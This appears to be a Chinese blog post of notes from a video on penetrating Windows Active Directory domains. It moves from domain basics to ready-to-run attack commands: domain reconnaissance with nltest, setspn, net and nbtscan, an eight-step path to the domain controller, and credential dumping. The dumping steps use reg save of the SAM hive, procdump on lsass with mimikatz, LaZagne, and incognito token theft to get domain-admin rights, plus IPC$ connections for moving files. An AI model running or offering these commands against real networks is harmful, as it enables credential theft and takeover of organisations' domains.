这篇文章是根据ske师傅的视频写的笔记,视频地址:https://www.bilibili.com/video/av76554533?from=search&seid=11390449822159779985

写这篇文章只是记录看这个视频的笔记,等哪天有实战环境了会自己出一张更详细的

1、什么是域

域英文叫DOMAIN,将网络中多台计算机逻辑组织到一起,进行集中管理,这种区别于环境组的逻辑环境叫做域

简单来说,假设我的公司有很多个计算机,然后我想设置一些配置,比如修改密码、设置权限等,只需要对域进行操作,就可以直接更改域下面的计算机,就和团队老大一样的意思,在群里艾特全体成员,说你们明天不用上班一样。方便快速,不用一个一个去说。

2、域控(全称域控制器)

在一个机器上装上活动目录(存储了有关网络对象信息,并且让管理员和用户能够轻松的查找和使用这些信息。网络对象可以是用户、群组、电脑、网域控制器、邮件、配置文件、组织单元、树系等)后,这个机器就是一个域控服务器

在一个内网中,可能有很多个域控,他们是没有区分的。

假设你有三个域控制器a、b、c,那么你在a对用户权限进行修改,那么他会复制到b、c里,如果其中一台域控制器发生故障,其他域控还能正常工作的话,整个域还是可以正常运行的。

3、域用户

就是域控制器的用户,域用户的账号密码可以登陆同一域下的任何机器,但是只是普通权限,而非管理员权限。

4、域管

可以登陆域控制器上,对一切权限进行控制,域管只需要登陆到域上面进行操作,任何就会应用到域机器,而不用去每台电脑前操作。

5、组

将不同用户放入不同的分组里,然后对每个组进行一个权限设置,这样子简单方便的对每一台机器进行权限分配,而不用每个去设置。

6、信任域

比如公司下面有子公司,他们都有域,并且处于同一个内网,那么只要子公司的域建立了对母公司的域的信任,那么母公司的域的域用户,就可以登陆到子公司的域,而子公司的域用户不能登陆到母公司的域用户,实战中可能遇到的域不知一个,那么我们可以在当前域查看信任域,然后利用横向渗透登陆到其他域控制器。

7、域信息收集

使用nltest查询信用域

nltest03以后系统自带的

信任域:可以在工作组里查询,查询内网是否有域环境

1
如下命令就可以查找域控IP所有信任域信息
2
nltest /domain_trusts /all_trusts /v /server:域控IP

ipconfig /all就可以查找域控IP,如图

image_1dsneccj2a6a1gu1o0sf141r8v9.png-76.5kB

然后执行nltest后如图

image_1dsneg3a41k8g1b2479acrh24jm.png-39.5kB

可能实战中,信任域环境不仅仅一个

知道信任域名字(HACK)后,可以使用如下命令查找详细的信任域信息

1
nltest /dsgetdc:HACK /server:域控IP

image_1dsnek8u4ch3ooncgq16t14lv13.png-68.3kB

可以用这种办法查找是否存在域环境

域信息收集Csvde

CsvdeWindow Server 2008的内置命令行工具,位于%windir%/system32文件夹中。

使用如下命令查找HACK这个域的详细信息

1
csvde -setspn hack -f 导出的地址

image_1dsnk16o016a3q3418sf1h4ndif3d.png-122kB

导出的数据信息

image_1dsnk09epmean5de8alubinb30.png-724.4kB

查找域内各种服务资源的对应关系setspn

spn官方名称是服务主体名称,存着的信息是域内的各种服务器的机器名、服务端口号等

如下命令查找HACK域的spn信息

1
setspn -T hack -Q */*

image_1dsnkc0qv147sq4fbql1ca9tmh3q.png-164.3kB

image_1dsnkcdvbuts1fq1n361j3h7j747.png-314kB

用处就是,比如护网期间,获取了域控权限,然后我们可以看域内下面的开发的服务,比如mysql,然后使用域用户登录到那台机器,然后连接mysql就可以看到数据,然后提交到获取护网分数。

dnsdump查找域下名称和IP

1
dnsdump.exe 域名\域用户 -p 域密码 域控机器名

image_1dsnksgo01se3diqe9eup6nge4k.png-193.7kB

net

假设我们拿下了一个服务器,他是域用户,那么我们可以使用net命令收集一些信息

1
net user /domain                                获取域用户列表
2
net group "domain admins" /domain               获取域管理员列表
3
net group "domain controllers" /domain          查看域控制器
4
net group "domain computers" /domain            查看域机器
5
net group /domain                               查询域里面的组

5.png-79.8kB

6.png-294.8kB

1
net view                                        查看同一域内机器列表
2
net view \\ip                                   查看某IP共享
3
net view \\GHQ                                  查看GHQ计算机的共享资源列表
4
net view \\domain                               查看内网存在多少个域
5
net view \\domain:XYZ                           查看XYZ域中的机器列表

image_1dsno6nm51q1t1j0m1tan1cvl1565ac.png-269.2kB

扫描内网段的主机信息和域控机

1
nbtscan.exe 192.168.52.0/24

7.png-126.5kB

图里的DC就是表示这个是域控机器

如果不存在域的话结果如下

image_1dsnp3ves9g3d0q12d1ds31kh6b5.png-69.6kB

域渗透思路

步骤

  1. 横向渗透(拿下内网shell
  2. 权限维持(以防给管理员发现,然后下线shell
  3. 取密码(获取一个域用户和账号密码,跑弱口令等等)
  4. 域信息收集(就是第七步所写的,注意那是在跑出域账户和密码情况下并且登陆后才能收集,如果非域权限是禁止执行那些命令的)
  5. 横向渗透(进行域的横向渗透)
  6. 取密码(直到取到域管理员账户密码)
  7. 获取域管权限(使用域管理员账户和密码登陆)
  8. 拿下域控服务器(结局)

image_1dsnpq3sf19m21iv21mr9ut31rj7bi.png-195kB

注册表读取密码

1
reg save hklm\system 导出的地址.hiv 
2
reg save hklm\sam 导出的地址.hiv

4.jpg-11.1kB

然后就会生成sys.hivsam.hiv文件

5.jpg-5.1kB

然后使用mimikatz.exe工具读取密码的hash

1
mimikatz.exe "lsadump::sam /sam:sam.hiv /system:sys.hiv"

问题1:

image_1dso1aokaq4in6c1h3cjisk00mn.png-4.9kB

然后跑出的hashmd5网站解密出来就是密码了

lsass读取内存hash

比如在内网中,有一个域用户和域管登陆了你拿下的shell的机器,那么在本机中会将他们的账号和密码保存到lsass.exe进程里面,那么我们只要把lsass.exe进程抓取出来然后跑hash就可以了

2008前,他都是明文存储的

抓取lsass.exe进程为lsass.dmp

1
procdump.exe -accepteula -ma lsass.exe lsass.dmp

image_1dsodrk67181t1si02g3ofg1dv19.png-66.2kB

然后使用mimikatz.exe将起读取

1
mimikatz.exe "sekurlsa::minidump lsass.dmo" "log" "sekurlsa::logonpasswords"

image_1dsoe4llnnbsik31s011gaqe91m.png-158kB

在目标shell中获取信息,然后放到本地用工具跑出这些数据,可以防止被拦截。

image_1dsoecn2dsc316n1u2mosfi7r13.png-548.7kB

读取当前机器各种连接工具密码、浏览器保存的密码等

下载地址:
https://github.com/AlessandroZ/LaZagne/releases/

image_1dsog5sm11go8ndcvcgrd5nbg20.png-18.7kB

凭证窃取

下载地址:

1
incognito.exe list_tokens -u
2
incognito.exe execute -c "HACK/Administrator" cmd.exe
3
窃取HACK/Administrator这个域管的凭证,放到cmd.exe进程,这样子我们的cmd就是域管的权限了

222.png-363.2kB

命令行渗透

为什么涉及命令行渗透?

1、因为远程登录目标桌面容易被管理员发现,如你将他挤下或者管理员突然间登录进来
2、目标管理员可能对服务器禁用远程登录

那么我们可以建立ipc连接,建立了ipc连接的话我们可以对目标进行文件的下载和上传,以及执行命令

建立ipc连接

1
net use \\你拿下的服务器ip /u:用户名 密码

image_1dsqrqqqt11u91j7f1l3q9prdue4i.png-45.6kB

ipc连接下看目录是这样的

9.png-127.9kB

nbrscan.exe放到windows\temp目录下

image_1dsqtn8bu390qts1v6hauv6b05k.png-64.7kB

hash.txt下载下来

image_1dsqtqaj61o9h1c5fp61rnfivt61.png-126.2kB

这里直接粘贴了=v=

image_1dsqv7rgcfn9t1fhp1cki1mog6e.png-333.3kB

3333.png-260.5kB

比如你上传的东西很大,那么我们可以使用这种办法

image_1dsr14pjr1lovqrh14ha1bg8pgk8n.png-336.7kB